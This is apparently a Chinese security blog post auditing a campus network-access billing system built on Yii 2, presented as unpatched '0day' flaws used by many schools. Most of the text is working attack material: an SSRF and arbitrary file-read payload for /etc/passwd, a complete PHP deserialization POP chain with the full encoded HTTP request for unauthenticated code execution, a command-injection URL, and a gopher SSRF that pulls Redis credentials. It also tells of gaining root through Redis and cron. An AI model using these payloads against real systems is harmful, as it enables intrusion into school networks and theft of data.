0x00 前言
我二月份左右挖的洞,之前放出部分漏洞,现在还是挺多学校在用,不过一般都在内网,界面如下:
0x01 前期打点
发现学校用的就是这套系统,取得授权后遂对其进行研究,首先全端口扫描,发现其80 8080 8083 8090 8000 3506 这些端口开放.
访问8083发现是一个网关认证的系统,直接修改返回包绕过登录进去
然后通过SuperSearchPlusTools扫到一些api敏感接口,直接一个个去访问
直接拿到Redis的密码,然后计划任务反弹shell一把梭,权限还挺高,直接root权限.
翻遍其服务器,拿到整套联网准入系统的安装包,发现只能在Centos 7中运行,于是开个虚拟机进行搭建审计.
0x02 前台任意文件读取漏洞审计
漏洞点1:
首先发现该系统框架为Yii 2.0.45,这个版本比较高,但整体还是有反序列化漏洞的,而且不同端口还有搭建不同系统.
我们先对其管理系统的控制器扫一遍危险函数,直接在centercontrollersDemoController.php 控制器下找到了Proxy方法调用curl_exec 且并未鉴权导致任意文件读取SSRF等漏洞(支持file dict gopher协议)
class DemoController extends ActiveController
{
public $modelClass = 'centermodelsDemo';
public function actionTest()
{
return 'Hello World!';
}
// php代理 实现get post请求
public function actionProxy(){
$rs = [];
if(Yii::$app->request->isPost){
$url = Yii::$app->request->post('url');
$post_data = Yii::$app->request->post();
$rs = $this->post($url,$post_data);
}elseif (Yii::$app->request->isGet){
$url = Yii::$app->request->get('url');
$rs = $this->get($url);
}
return $rs;
}
// get
private function get($url){
//初始化
$ch = curl_init();
//设置选项,包括URL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
//执行并获取HTML文档内容
$output = curl_exec($ch);
//释放curl句柄
curl_close($ch);
return $output;
}
Payload:
/demo/proxy?url=file:///etc/passwd
读取数据库文件:
漏洞点2:
在 centercontrollersValidateController.php 访问总控制器中写了一些可以直接不鉴权的接口.
/**
* 访问控制总控制器,所有的控制器的父类
* @todo 忽略列表需要补充完全
*/
class ValidateController extends CommonController
{
// 忽略列表,列表中不做权限验证
private $ignoreList = [
'strategy/package/check',
'user/group/down-load', //下载用户批量操作结果
'auth/structure/ajax', //获取组织结构
'auth/structure/node',
'auth/structure/check-node',//用户组节点删除
'report/welcome/index', //欢迎页面
'strategy/product/getbillnum', //获取产品勾选的计费策略所需的金额
'financial/refund/getprobal', //查询产品可退余额
'user/base/getprofee', //查询用户产品的包月费
'financial/pay/printnumadd', //缴费清单打印次数累加
'message/mesgploy/lists', //ajax 消息策略.
'strategy/product/ajaxcheckmode',//获取产品结算模式的选项
'financial/manualcheckout/ajaxedit',//ajax修改手动结算页面结算日期
'user/base/checkusername',//添加用户时检测用户名是否重复
'financial/pay/ajax-get-paytypes',//缴费时对缴费方式的切换
'strategy/condition/get-key',//用户详情查看动态条件
'auth/assign/get-type', //勾选管理员
'auth/assign/verify-password', //验证密码
'user/group/ajax-get-products-by-group',//根据用户组选择绑定的产品
'strategy/product/get-used-num',//获取产品使用人数
'strategy/condition/get-value-by-user',//用户详情页查看动态条件值
'log/prochange/ajax-del-next-product',//用户详情页删除下个产品日志
'log/prochange/ajax-get-next-product',//用户详情页获取下个产品
'user/group/get-product-by-bind-group',//用户组查看产品绑定
'financial/refund/print',//用户打印退费票据
'auth/assign/ajax-mgr-product-by-id',//ajax获取指定管理员可管理的产品
'message/booking/search',//创建预约任务单独用户搜索
'report/system/get-one-detail', //实时监控获取某台机器监控详情
'report/system/ajax-get-one-type-status', //实时监控获取某台机器某个类型监控详情
'report/system/ajax-get-all-data', //实时监控页面ajax加载所有机器运行状态
'report/system/image-save', //保存echarts图片到机器
'report/actual/download', //导出在网人数
'user/batch/ip-nums-ajax',//开户查询ip可绑定个数
//ip段绑定产品和用户组
'strategy/ip/product-list',
'strategy/ip/no-bind-list',
'strategy/ip/yes-bind-list',
'strategy/ip/bind-product',
'strategy/ip/cancel-bind-product',
'strategy/ip/batch-delete',
'strategy/ip/get-more',
'strategy/ip/bind-ip',
'strategy/ip/cancel-bind-ip',
'user/base/operate',//用户详情ajax操作
'user/batch/download', //下载模板,
'user/batch/preview',//预览
'user/batch/operate',//预览后提交
'user/batch/print-pay',//批量打印
'user/batch/export',//按用户组批量导出
'user/batch/refund',//按用户组批量退费
'user/batch/checkout',//按用户组批量结算
'setting/portal/qrcode',//二维码预览
'setting/portal/generate-qr-code',//二维码生成
'visitor/conference/athorization', // 授权ajax
'visitor/conference/generate-qr-code', // 生成二维码
'user/user-setting/set-pwd-strong',//用户资料设置
'user/user-setting/set-pwd-change-first',//用户资料设置
'user/user-setting/set-pwd-change-way',//用户资料设置
'report/dashboard/user-detail',//系统概况4种用户统计明细查看
'hardware/hardware-token/preview', //'硬件令牌预览'
'hardware/hardware-token/operate', //'硬件令牌批量添加'
'hardware/hardware-token/download', //'硬件令牌管理'
'user/user-setting/set-group-pwd-change', // 用户资料设置-指定用户组设置
'user/base/ajax-get-user-info'
];
一个个看一遍这些控制器有无可利用空间.
于是在 centermodulesusercontrollersGroupController.php 发现了文件读取操作 只需要GET传参file即可读取任意文件.
public function actionDownLoad()
{
//下载文件
if (Yii::$app->request->get('file')) {
return Yii::$app->response->sendFile(Yii::$app->request->get('file'));
}
if (Yii::$app->session->get('batch_excel_download_file')) {
return Yii::$app->response->sendFile(Yii::$app->session->get('batch_excel_download_file'));
} else {
Yii::$app->getSession()->setFlash('error', Yii::t('app', 'batch excel help31'));
}
return $this->redirect(['index']);
}
Payload(注意,这里一定要用burp去打):
/user/group/down-load?file=/etc/passwd
看起来302 Found跳转了 其实已经读取到文件咯.
0x03 前台反序列化RCE漏洞审计
在 centermodulesstrategycontrollersIpController.php 控制器中 直接构建了POST传入参数data1反序列化,并且正好该接口处于被忽略鉴权的白名单中.
并且该控制器两个方法都可直接反序列化
public function actionBindIp(){
$data1 = unserialize(Yii::$app->request->post('data1'));
...
...
...
}
public function actionCancelBindIp(){
$data1 = unserialize(Yii::$app->request->post('data1'));
...
}
这套系统加了⼀些 vendor ,同时也删除了⼀些 Yii 自带的 vendor ,所以只能靠我们自己挖⼀条链子出来
直接构造POP反序列化链子:
<?php
namespace yiibase {
class Component {
private $_events = array();
private $_behaviors = 1;
public function __construct() {
include("./vendor/opis/closure/autoload.php");
$func = function() {
$cmd = 'touch /tmp/hacker';
system($cmd);
}
;
$raw = OpisClosureserialize($func);
$data=OpisClosureunserialize($raw);
$this->_events = ["afterOpen" => [[
$data,
"huahua"
]]];
}
}
}
namespace yiiredis {
use yiibaseComponent;
class Connection extends Component {
public $redisCommands = [];
public $hostname = '';
public $port;
public $password;
public $username;
public $connectionTimeout;
public $dataTimeout;
public $database;
public $unixSocket;
private $_socket;
public function __construct() {
$this->redisCommands = array('CLEAN UP');
$this->_socket = false;
$this->hostname = '127.0.0.1';
$this->port = 8001;
//能够连通的任意本地服务的端⼝
$this->unixSocket = false;
$this->connectionTimeout = 5;
parent::__construct();
}
}
}
namespace setasignFpdiPdfReader {
use yiiredisConnection;
class PdfReader {
protected $parser;
public function __construct() {
$this->parser = new Connection;
}
}
include("./vendor/opis/closure/autoload.php");
echo urlencode(OpisClosureserialize(new PdfReader));
}
?>
生成完POP链即可直接打
Payload(注意Content-Type附加头不能忘记打,否则会失败):
POST /strategy/ip/bind-ip HTTP/2
Host: 192.168.10.101:8080
Cookie: lang=zh-CN; PHPSESSID_8080=f434cd5f5e9befe38ab3d688b49eacb5; _csrf-8080=515a2ce1d579e3eb33de0fb00d2eddb40cbfb5db938eb248ddaa2069ed9ba803a%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22_csrf-8080%22%3Bi%3A1%3Bs%3A32%3A%22zKeB2l7C4-gTmKM4dulmKqnWGCnlHFDP%22%3B%7D
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Content-Length: 1265
data1=O%3A33%3A%22setasign%5CFpdi%5CPdfReader%5CPdfReader%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00parser%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22CLEAN+UP%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A8001%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A218%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A71%3A%22function%28%29+%7B%0D%0A%09%09%09%09%24cmd+%3D+%27touch+%2Ftmp%2Fhacker%27%3B%0D%0A%09%09%09%09%5Csystem%28%24cmd%29%3B%0D%0A%09%09%09%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A18%3A%22yii%5Cbase%5CComponent%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000005f18709a000000006fad7a89%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22huahua%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7D%7D
0x04 前台存储型XSS漏洞审计
这里不分析了,过于简单,在登陆页面用户名处填入xss语句即可插入
但是需要站长点击日志管理-操作日志才能弹出XSS语句 鸡肋.
0x05 后台命令执行漏洞审计
public function actionIndex()
{
$get = Yii::$app->request->get();
if ($get) {
$get = array_values($get)[0];
//判断用户使用下载过文件
$session = Yii::$app->session;
$ip = Yii::$app->request->userIP;
if ($session[$ip]) {
if ((time() - $session[$ip] < 5)) {
$session[$ip] = time();
Yii::$app->getSession()->setFlash('error', Yii::t('app', 'portal_help6'));
return $this->redirect('index');
} else {
$session[$ip] = time();
}
} else {
$session[$ip] = time();
}
$file_name = $get['name'] . '.tar.gz';
// tar zcvf xxx.tar.gz portal/srun/xxx
$cmd = 'tar zcvf ' . $file_name . ' portal/' . $get['p'] . '/' . $get['name'];
exec($cmd);
Yii::$app->response->sendFile($file_name);
exec('rm -rf ' . $file_name);
}
这就让我们实际上要传入二维数据 不能是一维的,不然只能获取到第一个字符.
Payload:
/setting/portal/index?name[name]=a;id>/tmp/id.txt;
0x06 可回显型SSRF漏洞小技巧
可以直接通过gopher协议直接查询redis里的数据,就算是授权型的也能打,可以用Wireshark抓包来构造协议即可.
/demo/proxy?url=gopher%3A//127.0.0.1%3Axxx/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%252415%250D%250Asrun_3000%2540redis%250D%250A%252A2%250D%250A%25247%250D%250AHGETALL%250D%250A%252428%250D%250Ahash%253AapiAuthV2%253Asrunsoft%253Ainfo%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
edu系统源码关注公众号之后抽奖会送几个
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):记一次edu系统通杀漏洞审计(内附0day)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论